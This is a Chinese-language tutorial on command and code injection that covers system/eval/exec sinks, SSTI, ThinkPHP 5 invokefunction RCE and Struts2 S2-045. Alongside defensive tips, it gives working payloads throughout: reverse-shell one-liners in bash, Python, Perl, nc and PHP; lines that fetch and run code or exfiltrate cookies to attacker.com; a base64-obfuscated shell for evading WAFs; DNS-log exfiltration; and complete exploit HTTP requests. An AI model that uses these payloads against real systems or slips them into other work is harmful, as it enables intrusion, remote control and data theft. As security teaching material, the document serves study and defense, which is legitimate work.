一、原理:
1.1 用户输入拼接进系统命令或函数
原理核心:拼接输入 = 注入风险
本质解释:当程序将用户输入直接拼接进系统命令或代码中,并交由系统或解释器执行时,就存在 命令注入(Command Injection)或代码执行(Code Execution) 的风险。
这是未对用户输入进行安全处理导致的。
1.1.1 常见易出问题的函数和方式
系统命令执行类函数
语言 | 危险函数 | 说明 |
---|---|---|
PHP | system() , exec() , shell_exec() , passthru() | 调用系统命令 |
Python | os.system() , subprocess.Popen() , subprocess.call() | 同上 |
Java | Runtime.getRuntime().exec() | 执行 shell 命令 |
JS (Node.js) | child_process.exec() | 执行命令 |
代码执行类函数
语言 | 函数 | 说明 |
---|---|---|
PHP | eval() | 执行字符串形式的 PHP 代码 |
Python | eval() , exec() | 执行字符串形式的 Python 代码 |
JavaScript | eval() | 执行字符串 JS 代码 |
1.1.2 从程序员角度:拼接式写法举例(危险)
PHP 示例:
$ip = $_GET["ip"];
system("ping " . $ip);
用户输入 127.0.0.1 && whoami
拼接后变成:
ping 127.0.0.1 && whoami
Python 示例:
import os
user_input = input("Enter IP:")
os.system("ping " + user_input)
用户输入:127.0.0.1 && whoami
拼接后变成:
ping 127.0.0.1 && whoami
Java 示例:
String cmd = "ping " + request.getParameter("ip");
Runtime.getRuntime().exec(cmd);
输入同样可以构造恶意命令执行。
eval 示例(Python):
user_code = input("请输入表达式:")
eval(user_code)
用户输入:
__import__('os').system('whoami')
1.1.3 从攻击者视角:输入如何被拼接利用?
假设程序源代码如下:
system("ping " . $_GET["ip"]);
攻击者可输入以下 payload:
输入内容 | 拼接后 | 结果 |
---|---|---|
127.0.0.1 | ping 127.0.0.1 | 合法请求 |
127.0.0.1;ls | ping 127.0.0.1;ls | 执行 ls |
127.0.0.1&&whoami | ping 127.0.0.1&&whoami | 返回当前执行用户 |
`' | curl attacker.com | '` |
1.1.4 为什么拼接会导致风险点
解释:
系统函数如 system()
接收到的是一个字符串命令,它不会区分哪些是用户输入,哪些是程序生成的,只会照执行不误。
就像你在 Linux 中直接输入一条命令一样:
ping 127.0.0.1 && whoami
系统会先 ping,再执行 whoami——也就是说,你给它什么,它就跑什么,毫无判断能力。
1.1.5 从“拼接”走向“代码/命令执行”的过程
图示逻辑:
用户输入 -----> 拼接进命令字符串 -----> 被函数执行 -----> 命令或代码运行 -----> 被利用
例如:
$user = $_GET["name"];
eval("echo 'hello " . $user . "';");
用户输入:
';phpinfo();//'
拼接后:
eval("echo 'hello ';phpinfo();//';");
代码就变成了可执行的恶意代码!
1.1.6 防御建议
安全策略 | 建议做法 |
---|---|
参数隔离 | 使用 subprocess.run(["ping", ip]) 等安全 API |
输入验证 | 对用户输入做白名单验证,只允许合法字符 |
禁止 eval | 避免 eval , exec ,尤其是用户输入控制的 |
最小权限原则 | 限制程序运行权限(即使被利用,破坏也有限) |
1.1.7 小结
“用户输入 + 字符串拼接 + 命令执行函数 = 注入风险点”
如果用户的任何输入“被拼接成命令或代码”,而没有做过滤或隔离,就必然存在命令或代码执行风险。
二、注入点:
2.1 system()
system()
是一个用来调用系统命令的函数,执行结果会在程序控制台(或网页输出)中直接显示。
常见语言支持:
语言 | 函数调用形式 |
---|---|
PHP | system($cmd) |
Python | os.system(cmd) |
C 语言 | system(cmd) |
2.1.1 工作原理
当调用 system("ping 127.0.0.1")
,程序会:
-
将命令字符串交给操作系统;
-
操作系统打开一个 shell;
-
执行命令;
-
把结果返回(在网页或控制台打印);
这个过程完全信任字符串中的内容,如果是拼接用户输入的内容,就容易产生“命令注入”。
2.1.2 危险用法:拼接用户输入
PHP 示例:
$ip = $_GET["ip"];
system("ping " . $ip);
攻击者输入:
127.0.0.1;whoami
拼接后变成:
ping 127.0.0.1;whoami
执行两个命令:ping 和 whoami,命令注入成功。
2.1.3 攻击方式
命令连接符
符号 | 含义 | 示例 |
---|---|---|
; | 串行执行 | 127.0.0.1;whoami |
&& | 前一个成功后执行 | 127.0.0.1 && whoami |
` | ` | |
` | ` | 管道连接 |
子命令执行
-
$(whoami)
或`whoami`
:在参数内部执行命令 -
ping $(whoami)
→ 会先执行whoami
,然后 ping 输出结果
输入逃逸(引号、空格)
$ip = $_GET["ip"];
system("ping '$ip'");
攻击者输入:
127.0.0.1';curl attacker.com;#
拼接后:
ping '127.0.0.1';curl attacker.com;#'
仍然执行了 curl。
2.1.4 实战案例
DVWA 风险点演示(PHP):
$target = $_GET['ip'];
system("ping -c 4 " . $target);
攻击者输入:
127.0.0.1; ls /
返回结果里多了 /bin
, /etc
, /home
等文件夹名,说明命令执行成功。
CTF 类型 payload 示例
127.0.0.1; curl http://attacker.com/`whoami`
127.0.0.1 && nc -e /bin/sh attacker.com 4444
反弹 shell、获取敏感信息、上传木马均可。
2.1.5 防御建议
策略 | 说明 |
---|---|
禁止拼接用户输入 | 不要把用户输入拼到 system() 中 |
参数化处理 | 使用 subprocess.run(["ping", ip]) (Python)这样的安全 API |
白名单验证 | 只允许特定 IP、参数格式(如只允许 [\d\.]+ ) |
最小权限执行 | 限制程序只能访问有限的系统命令 |
WAF 防御 | 拦截包含注入符号的请求,如 ; , ` |
2.1.6 是否应该使用 system()
?
尽量避免使用。在 Web 开发、脚本自动化中,应优先使用:
语言 | 替代方案 |
---|---|
PHP | escapeshellarg() , proc_open() |
Python | subprocess.run() |
Java | ProcessBuilder (避免拼接字符串) |
=======================================
2.2 eval()
eval()
的作用是:将传入的字符串“当成代码”来执行。它就像一个“程序内的解释器”,可以动态执行字符串形式的代码。
支持 eval()
的常见语言
语言 | 示例 | 说明 |
---|---|---|
Python | eval("1+2") → 3 | 可执行表达式 |
PHP | eval("echo 1+2;"); → 输出 3 | 执行任意 PHP 代码 |
JavaScript | eval("alert(1+2)") → 弹窗 3 | 执行 JS 表达式 |
Ruby、Perl | 也支持 |
2.2.1 原理:为什么危险?
当程序使用 eval()
处理用户输入时,攻击者就可以传入任意代码,造成 代码注入风险点:
user_input = input("请输入表达式:")
eval(user_input)
如果用户输入:
__import__('os').system('whoami')
就可以在服务器上执行任意系统命令!
2.2.2 不同语言中的攻击方式
Python 中的 eval()
注入
user_input = input(">> ")
eval(user_input)
恶意输入:
__import__('os').system('curl attacker.com/shell.sh | sh')
或
().__class__.__bases__[0].__subclasses__()[59]("id", shell=True).communicate()
这是 Python 经典的逃逸链攻击方式,用于绕过禁用模块。
注意:
-
Python 中还有
exec()
,可执行多行代码,更危险。 -
eval()
只能执行表达式(1+2
,"abc".upper()
),而exec()
可以执行语句(for...
、import...
等)
PHP 中的 eval()
注入
$code = $_GET["code"];
eval($code);
恶意访问:
http://target.com/test.php?code=phpinfo();
服务器就会执行 phpinfo()
,攻击者可以用它进一步发现风险点。
配合 base64 绕过:
eval(base64_decode($_POST["data"]));
攻击者 POST:
data=c3lzdGVtKCd3aG9hbWknKTs=
解码后执行:
system('whoami');
JavaScript 中的 eval()
注入
let userCode = prompt("输入JS代码:");
eval(userCode);
恶意输入:
fetch('http://attacker.com?cookie=' + document.cookie)
这类 XSS 或恶意代码可直接执行。
2.2.3 典型实战案例
Flask + Jinja2 模板注入(SSTI → eval)
@app.route("/")
def index():
name = request.args.get("name")
return render_template_string(f"Hello {name}")
用户访问:
/?name={{ 7*7 }}
返回:
Hello 49
进一步注入:
{{ config.__class__.__init__.__globals__['os'].system('ls') }}
本质上等价于 eval()
执行字符串代码。
在线计算器类功能,使用 eval
@app.route('/calc')
def calc():
formula = request.args.get("formula")
return str(eval(formula))
攻击者输入:
/calc?formula=__import__('os').popen('whoami').read()
造成远程命令执行。
2.2.4 防御措施
永远不要信任用户输入!
方法 | 说明 |
---|---|
禁用 eval() 、exec() | 除非绝对必要 |
使用安全的解析器 | 比如:Python 用 ast.literal_eval() 限制只能解析字面量 |
做表达式白名单 | 只允许数学表达式、加减乘除等 |
使用沙箱 | 把 eval 限制在一个安全环境内 |
输入正则校验 | 限制非法字符(如括号、点、引号等) |
代码审计时重点标记 eval 出现处 | 评估是否有用户输入 |
=======================================
2.3 exec()
exec()
是用来执行任意代码字符串的函数,不仅可以执行表达式,还可以执行多行语句。
举例(以 Python 为例):
exec("print('Hello World')")
这将输出:
Hello World
和 eval()
不同,exec()
不返回结果,它执行的是语句,而不是表达式。
2.3.1 不同语言中 exec()
的表现
语言 | 调用方式 | 说明 |
---|---|---|
Python | exec("for i in range(3): print(i)") | 支持完整语句执行 |
PHP | exec("ls", $output); | 执行系统命令,输出保存在数组中 |
JavaScript | 无原生 exec() ,但 eval() 可实现同样功能 |
注意:PHP 中的 exec()
和 Python 的 exec()
不是一回事!
2.3.2 Python 中的 exec()
注入原理
典型不安全写法:
code = input("请输入要执行的代码:")
exec(code)
攻击者输入:
__import__('os').system('whoami')
完整执行,造成命令执行风险点!
2.3.3 exec()
和 eval()
的区别
特性 | eval() | exec() |
---|---|---|
返回值 | 有 | 无 |
表达式/语句 | 只能执行表达式 | 能执行任意语句 |
安全风险 | 高 | 更高 |
可嵌套结构 | 受限 | 无限制 |
示例比较:
# eval:
eval("1+2") # 正常
eval("for i in range(5): print(i)") # 报错
# exec:
exec("for i in range(5): print(i)") # 正常
2.3.4 常见攻击方式(Python 为例)
动态导入系统模块 + 命令执行:
exec("__import__('os').system('curl attacker.com')")
多语句执行 + 远程代码:
exec("""
a = 1
b = 2
print(a + b)
__import__('os').system('whoami')
""")
利用 globals / locals 绕过变量作用域
exec("flag = 'fake_flag'", globals())
print(flag) # 输出:fake_flag
攻击者可以修改程序变量,甚至覆盖原函数定义!
2.3.5 PHP 中的 exec()
虽然名字相同,但它是调用系统命令的:
$output = [];
exec("ls", $output);
print_r($output);
攻击者输入:
$cmd = $_GET['cmd'];
exec($cmd);
传入:
cmd=whoami
直接命令执行,类似于 system()
函数。
2.3.6 典型使用场景(危险)
在线代码运行平台(REPL)
@app.route("/run")
def run_code():
code = request.args.get("code")
exec(code)
攻击者访问:
/run?code=__import__('os').system('ls')
等于直接打穿后台!
配置文件执行:
with open("config.py") as f:
exec(f.read())
攻击者控制了配置文件,就能执行任意后门代码。
2.3.7 防御策略
方法 | 说明 |
---|---|
禁用 exec() 和 eval() | 除非明确知道自己在干什么 |
使用白名单 | 只允许固定功能(如:加法、简单函数) |
语法树解析 | 用 ast.literal_eval() 安全解析表达式 |
限制作用域 | exec(code, {}, {}) 执行时不传入任何变量 |
使用沙箱机制 | 如 PyPy Sandbox、Jail 内执行 |
安全审计工具扫描 | 检查是否有 exec() 注入点 |
2.3.8 真实案例
Flask + exec
动态执行功能
@app.route("/run_code")
def run_code():
code = request.args.get("code")
exec(code)
return "Done"
用户提交:
?code=__import__('os').system('cat /flag')
后台执行命令,严重风险点。
三、利用方法:
3.1 反弹 shell
反弹 shell(Reverse Shell)是指攻击者让目标服务器主动连接回自己,从而获得远程控制权限的一种技术。
原理详解:
背景知识:很多服务器 出站是允许的(可以主动连接外网),但 入站禁止(别人连不进来)。所以攻击者无法直接连接目标,但可以:
-
在攻击者本地开个端口监听(监听 shell)
-
让目标服务器执行一段命令,反向连接攻击者
-
成功建立一个 交互式 shell 会话
技术流程:
┌────────────┐ ┌────────────┐
│ 攻击者机器 │ ←────── │ 目标服务器 │
│ 监听端口 │ │ 执行命令 │
└────────────┘ └────────────┘
← Shell 会话 ←
3.1.1 常见反弹 Shell Payload
以下 payload 一般放入命令执行风险点、eval、exec、上传的 webshell 里执行。
Bash 反弹:
bash -i >& /dev/tcp/攻击者IP/端口 0>&1
-
-i
:交互式 -
/dev/tcp/host/port
:Linux 特性 -
>&
:把 stdout 和 stderr 重定向到 socket
Python 反弹:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("攻击者IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
适合目标机器有 Python 环境。
Perl 反弹:
perl -e 'use Socket;$i="攻击者IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Netcat(nc)反弹:
nc 攻击者IP 端口 -e /bin/bash
某些系统的 Netcat(如 BusyBox)不支持 -e
,可以换如下方式:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击者IP 端口 > /tmp/f
PHP 反弹:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'"); ?>
上传到服务器执行即可。
3.1.2 演示操作(以 Bash 为例)
攻击者机器监听:
nc -lvnp 4444
在目标机器执行:
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
攻击者就会收到反弹回来的 shell:
$ whoami
root
$ uname -a
Linux target 5.15.0-60-generic ...
3.1.3 技巧
权限提权
拿到 shell 后,可以尝试:
-
查看 SUID 二进制
-
找风险点提权(内核、软件)
-
挂载到 cron / 定时任务
-
泄露数据库密码,横向移动
绕过防火墙(WAF/IDS)
-
用 base64 编码:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash
-
修改端口(避开 4444、8888 等特征端口)
-
使用 HTTPS + TLS 加密通信(例如 Metasploit + stager)
3.1.4 适用场景
-
Web 命令执行风险点
-
文件上传拿到 WebShell
-
SSRF + Redis 写计划任务
-
任意代码执行风险点(eval、模板注入等)
-
APP 接口命令注入 / adb 执行命令
=======================================
3.2 命令盲注
命令盲注(Blind Command Injection)是指:目标存在命令执行风险点,但执行结果无法直接返回,攻击者只能通过“侧信道”判断命令是否执行成功的一种技术。
3.2.1 原理解析
有些网站存在命令执行点,例如:
system("ping " . $_GET['ip']);
如果输入的是:
127.0.0.1; whoami
但网页不会返回 whoami
的输出结果,什么也看不到 —— 这就是“盲注”场景。
所以只能靠侧信道反馈来判断命令是否执行:
-
响应时间
-
DNS 请求是否发生
-
目标是否产生行为(文件、网络请求)
3.2.2 常见利用方式
1)基于时间的盲注(Sleep)
原理:让目标服务器 执行 sleep
命令延迟响应,以判断是否注入成功。
示例 Payload:
127.0.0.1; sleep 5
或:
192.168.1.1 && ping -c 5 127.0.0.1
判断方法:
-
如果服务器响应明显延迟 5 秒,就说明 sleep 被执行了。
-
多次测试可确认命令注入点是否可靠。
适用:
-
无回显
-
不出错
-
网络能正常等待
2)基于 DNS 的盲注(外带型)
原理:执行 nslookup
或 ping
,向你自己的 DNS 域名发起请求,把执行结果“打包”在域名里返回。
示例 Payload:
127.0.0.1; nslookup `whoami`.xxxx.dnslog.cn
或:
127.0.0.1; ping `whoami`.xxxx.ceye.io
工具平台:
判断方法:
在 DNS 监控平台里看到类似:
www-data.dnslog.cn
就证明命令执行成功,而且知道当前用户是 www-data
。
3)基于文件/行为的盲注
原理:执行命令写文件、创建目录、修改文件等,然后你用别的方式验证是否存在。
示例 Payload:
127.0.0.1; touch /tmp/hacked
之后访问:
http://target.com/check_file.php?file=/tmp/hacked
如果存在,说明 touch
成功,命令被执行。
3.2.3 回显盲注
提示输出的技巧
127.0.0.1; echo `whoami` > /var/www/html/test.txt
然后访问:
http://target.com/test.txt
输出命令结果间接查看。
3.2.4 常见绕过方式
- 空格绕过:
${IFS}
127.0.0.1;${IFS}sleep${IFS}5
-
编码绕过:URL 编码
;
→%3B
- 拼接命令:
&&, ||, |, ;, ``, $(), >, >>
=======================================
3.3 字符逃逸
字符逃逸(Character Escaping)是指在命令执行或代码执行场景中,想办法跳出原本限制的输入位置,插入或执行我们自己的恶意命令。
3.3.1 背后原理
开发者可能写了代码:
system("ping " . $_GET["ip"]);
输入:
127.0.0.1
这时服务器会执行:
ping 127.0.0.1
但如果输入:
127.0.0.1; whoami
它就变成:
ping 127.0.0.1; whoami
于是 whoami
被执行了。这个 ;
就是**“逃逸点”**,从原本的命令里“逃逸”出来,插入了新的命令。
3.3.2 常见字符逃逸符号
符号 | 说明 |
---|---|
; | 分隔两条命令,顺序执行 |
&& | 前一条命令成功后执行后一条 |
` | |
` | ` |
& | 后台执行命令 |
``` | 执行括号内的命令(反引号) |
$() | 同上,命令替换(现代写法) |
> >> | 输出重定向 |
< | 输入重定向 |
3.3.3 利用方式详解
1);
命令分隔符
127.0.0.1; whoami
等于:
ping 127.0.0.1; whoami
2)&&
条件执行
127.0.0.1 && whoami
当 ping 成功时才执行 whoami。
3)管道 |
127.0.0.1 | whoami
把 ping
的输出传给 whoami
,虽然语义不太通,但有时能逃逸成功。
4)命令替换符 `command`
和 $()
:
127.0.0.1; echo `whoami`
127.0.0.1; echo $(whoami)
在某些语言(如 PHP、Node.js)中可能会被解析成命令。
3.3.4 真实例子
假设某系统拼接命令如下:
os.system("ping " + user_input)
输入:
127.0.0.1; curl http://x.x.x.x/`whoami`
目标执行:
ping 127.0.0.1; curl http://x.x.x.x/root
通过监听 HTTP 请求就能知道对方执行的是 whoami
的结果。
3.3.5 字符逃逸中常用技巧
1)空格绕过:用 ${IFS}
或 \
127.0.0.1;whoami
127.0.0.1;${IFS}whoami
127.0.0.1;\ whoami
IFS 是 Linux 中默认的空格符(Internal Field Separator)。
2)双引号、单引号绕过
程序写成:
system("ping '" + ip + "'");
要逃逸出 '
:
127.0.0.1'; whoami; #
最终变成:
ping '127.0.0.1'; whoami; #'
后面部分就被执行了。
防护不当的例子(非常常见):
弱代码:
<?php
$ip = $_GET['ip'];
system("ping " . $ip);
?>
访问:
http://xxx.com/ping.php?ip=127.0.0.1;whoami
就成功逃逸并执行了 whoami
。
绕过字符过滤
开发者过滤了:
str_replace([';', '&', '|'], '', $ip);
可以尝试:
-
URL 编码:
%3B
,%26
,%7C
-
多字节编码:
0x3b
-
空格绕过:
${IFS}
-
换其他命令连接方式
四、风险点:
4.1 ThinkPHP
ThinkPHP 是一个流行的 国产 PHP 框架,广泛用于企业网站、CMS、管理后台等场景。因其流行,安全问题成为攻击者重点关注对象。
ThinkPHP 框架曾因其框架路由机制与魔法调用机制存在设计缺陷,导致多个版本可被远程代码执行(RCE)。
4.1.1 原理分析:ThinkPHP RCE(以 5.0 为例)
风险点入口点:
/index.php?s=/Index/think/app/invokefunction
传入参数:
POST data:
_function=system&_data[]=id
风险点利用机制:
ThinkPHP 内部有类似下面的代码逻辑:
call_user_func($_POST['_function'], $_POST['_data']);
这意味着攻击者可以控制:
-
调用哪个函数,例如:
system
-
传入什么参数,例如:
id
,whoami
风险点效果:
传入的请求变成:
system('id'); // 命令执行
4.1.2 风险点利用步骤(ThinkPHP 5.0.x)
构造请求:
POST /index.php?s=/Index/think/app/invokefunction HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
_function=system&_data[]=id
响应返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
证明已执行命令。
4.1.3 更多变种利用方式
_method=__construct
绕过方式:
POST /index.php?s=/Index/think/container/think\app/invokefunction HTTP/1.1
_function=phpinfo&_data[]=1
或:
GET /?s=/index/think\app/invokefunction&_function=system&_data[]=whoami
有时还会用 think\Container
的特性进行触发:
s=/index/think\Container/invokefunction
利用 think\Container::invokeFunction()
方法间接执行命令。
4.1.4 代码审计参考点
如果在源码中发现:
call_user_func($_GET['xxx']);
或者:
think\App::invokeMethod($_GET['xxx']);
而其中参数是用户可控的,那么就很可能存在命令执行或任意函数调用风险。
利用效果演示
可以执行如下命令:
-
whoami
-
uname -a
-
curl http://your.vps/
(用于收集返回数据) -
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
(反弹 shell)
修复建议
修复方式 | 说明 |
---|---|
升级版本 | ThinkPHP >= 5.0.24 / 5.1.32 |
禁用调试模式 | APP_DEBUG 设置为 false |
关闭函数调用路由 | 如 invokefunction 特殊功能 |
WAF拦截关键词 | 如 _function , think , system 等 |
4.1.5 实战建议
如果要练习 ThinkPHP RCE,可以:
1)使用 vulhub
的 ThinkPHP5 风险点环境:
git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5-rce
docker-compose up -d
2)使用 BurpSuite 构造 Payload:
POST /index.php?s=/Index/think/app/invokefunction HTTP/1.1
_function=system&_data[]=whoami
=======================================
4.2 Struts2
Apache Struts2 是一个流行的 Java Web MVC 框架,用于快速构建 Web 应用。其核心特性之一是使用表达式语言 OGNL(Object-Graph Navigation Language)对参数自动绑定。
危险根源:OGNL 表达式注入
Struts2 在处理请求参数时会使用 OGNL 表达式自动解析绑定输入值:
value="#{user.name}" → 会被自动当作 OGNL 表达式解析
如果开发者或框架内部没有对参数内容做严格过滤,就可能让攻击者注入恶意 OGNL 表达式,从而执行任意 Java 代码,甚至系统命令。
常见历史严重风险点版本
风险点编号 | 影响版本 | 危害 |
---|---|---|
S2-005 | 2.0.x | OGNL注入 |
S2-016 | 2.3.15.x | 命令执行 |
S2-045 | 2.3.5–2.3.31 | Content-Type 触发 RCE |
S2-057 | 2.5.x | 上传组件 RCE |
4.2.1 风险点演示:S2-045
风险点条件
-
Struts2 版本在 2.3.5 ~ 2.3.31 之间
-
使用了 Jakarta Multipart parser(Struts 默认文件上传解析器)
-
攻击者可以控制
Content-Type
请求头
风险点Payload(OGNL 注入点是 Content-Type)
POST /upload.action HTTP/1.1
Content-Type: %{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).
(@java.lang.Runtime@getRuntime().exec('id'))}
分析:
-
@java.lang.Runtime@getRuntime().exec()
:执行系统命令 -
#context.setMemberAccess(...)
:解除沙箱限制 -
整个
Content-Type
被当作 OGNL 表达式解析并执行
服务器执行效果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
风险点核心原理
Struts2 会把用户传入的一些字段(包括 Content-Type、URL 参数、表单字段等)作为 OGNL 表达式执行。如果这个字段未被正确过滤,就能构造任意表达式并执行任意 Java 方法。
4.2.2 危害举例
Struts2 S2-045 风险点爆发后,美国信用评级机构 Equifax 在 2017 年因为没及时修复该风险点,被黑客利用命令执行风险点入侵,最终导致:
-
1.4 亿用户信息泄露
-
股价暴跌
-
CEO 辞职
4.2.3 防御方式
措施 | 说明 |
---|---|
升级 Struts2 至最新版本 | 官方已封掉 OGNL 自由执行 |
替换上传解析器 | 不使用 Jakarta Multipart parser |
启用 OGNL 沙箱 | 禁止调用 Runtime 、ProcessBuilder 等 |
参数黑名单 / WAF 拦截 | 拦截 OGNL 表达式、@java.lang.Runtime 等字样 |
检测工具推荐
-
Struts2Scan
:自动扫描 S2-0XX 风险点 -
nuclei
+struts2-*
模板 -
BurpSuite 插件:Active Scanner + Payload Template
4.2.4 小结
Struts2 命令执行风险点,本质是攻击者控制了一个被当成 OGNL 表达式的输入,从而执行任意 Java 代码,进而系统命令。
=======================================
4.3 模板注入(SSTI)
模板注入风险点(SSTI, Server-Side Template Injection)指攻击者在模板渲染引擎中注入恶意表达式,使服务器执行非预期的代码,甚至系统命令。
4.3.1 SSTI 出现的条件
-
服务端使用了模板引擎(如 Jinja2、Freemarker、Velocity、Smarty、Twig)
-
用户输入被直接传入模板渲染函数,例如:
# Flask 示例(存在风险点)
@app.route("/hello")
def hello():
name = request.args.get("name")
return render_template_string("Hello {{ " + name + " }}")
攻击者访问:
/hello?name=7*7
模板引擎会渲染为:
Hello 49
说明:表达式已被执行。
4.3.2 常见模板引擎与危险等级
语言 | 模板引擎 | 特点 |
---|---|---|
Python | Jinja2, Mako | 支持表达式计算与类访问 |
PHP | Smarty, Twig | 常用于 CMS |
Java | Freemarker, Velocity | 可访问类对象 |
Node.js | EJS, Handlebars | 通常危险性较低 |
危险等级分级
等级 | 类型 | 说明 |
---|---|---|
低 | 表达式执行 | 如 {{7*7}} → 49 |
中 | 任意变量读取 | 如读取对象结构 {{ config }} |
高 | 任意代码执行 | 利用类访问、模块导入,执行系统命令等 |
4.3.3 危险 Payload 示例(以 Python 的 Jinja2 为例)
基本注入测试:
{{7*7}} → 49(判断是否可注入)
{{ 'a'.__class__ }} → 显示类型
执行命令(反弹 shell/远程命令):
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
或者:
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
利用链条原理
大多数 SSTI 的 RCE 是通过「模板变量 -> 类对象 -> 模块 -> 函数 -> 命令」的链条实现的。
比如:
'string' → __class__ → __mro__ → object → __subclasses__() → subprocess.Popen
最终可以写出:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()[0] }}
注意:不同 Python 环境中 subclasses()[408]
的下标不同,需要调试。
检测方式
-
输入测试表达式,如
{{7*7}}
、#{7*7}
、${7*7}
,观察输出是否为 49 -
如果输出为计算结果 → 存在 SSTI
4.3.4 利用工具
工具名 | 说明 |
---|---|
tplmap | 自动化 SSTI 检测与利用工具 |
BurpSuite | 手动测试、自定义 payload 插入 |
nuclei | 模板注入模板批量探测 |
4.3.5 常见可利用场景
-
Flask 的
render_template_string
-
Tornado 的模板渲染
-
Java 的 Freemarker,变量名可控时注入执行
-
Smarty 中 eval 修饰符未过滤用户输入
-
部分 CMS(如 Drupal、Wordpress 插件)调用模板未清洗变量
4.3.6 防御方法
方法 | 说明 |
---|---|
不直接拼接变量到模板中 | 使用参数绑定传入 |
开启模板沙箱(Sandbox) | 限制模板能访问的对象和方法 |
使用白名单变量传递机制 | 限制用户输入变量只允许渲染文本 |
使用静态 HTML 模板渲染 | 不使用 render_template_string 等危险函数 |
4.3.7 实战示例
1)搭建 Flask + Jinja2 的简易风险点 Demo:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
user_input = request.args.get("name", "")
return render_template_string("Hello {{ " + user_input + " }}")
app.run()
2)访问 http://localhost:5000/?name=7*7
→ 看是否输出 49
3)进一步测试:
http://localhost:5000/?name=__import__('os').popen('id').read()
4.3.8 小结
SSTI 的本质,是用户输入被当作模板表达式执行,从而可导致命令执行、变量泄露、RCE。